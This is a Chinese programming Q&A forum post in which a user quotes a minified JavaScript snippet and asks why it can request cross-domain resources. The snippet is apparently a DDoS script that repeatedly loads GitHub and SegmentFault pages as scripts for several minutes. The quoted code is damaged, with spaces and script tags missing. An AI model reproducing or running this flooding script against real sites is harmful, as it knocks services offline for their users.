为了账号安全,请及时绑定邮箱和手机立即绑定

JS这样做居然可以跨域请求远程资源,请问原理是什么!?

JS这样做居然可以跨域请求远程资源,请问原理是什么!?

郎朗坤 2019-04-19 16:11:23
演示地址:http://runjs.cn/code/vmjaz1pj如果说这样就可以跨域请求资源了,那岂不是想要攻击谁就攻击谁?这样太不安全了。代码如下:document.write("\x3c/script>");!window.jQuery&&document.write("\x3c/script>");startime=(newDate).getTime();varcount=0;functionunixtime(){vara=newDate;returnDate.UTC(a.getFullYear(),a.getMonth(),a.getDay(),a.getHours(),a.getMinutes(),a.getSeconds())/1E3}url_array=["https://github.com/aiyuchen/LaravelShoppingcart","http://segmentfault.com/q/1010000000339531"];NUM=url_array.length;functionr_send2(){vara=unixtime()%NUM;get(url_array[a])}functionget(a){varb;$.ajax({url:a,dataType:"script",timeout:1E4,cache:!0,beforeSend:function(){requestTime=(newDate).getTime()},complete:function(){responseTime=(newDate).getTime();b=Math.floor(responseTime-requestTime);3E5>responseTime-startime&&(r_send(b),count+=1)}})}functionr_send(a){setTimeout("r_send2()",a)}setTimeout("r_send2()",2E3);
查看完整描述

2 回答

  • 2 回答
  • 0 关注
  • 371 浏览
慕课专栏
更多

添加回答

举报

0/150
提交
取消
微信客服

购课补贴
联系客服咨询优惠详情

帮助反馈 APP下载

慕课网APP
您的移动学习伙伴

公众号

扫描二维码
关注慕课网微信公众号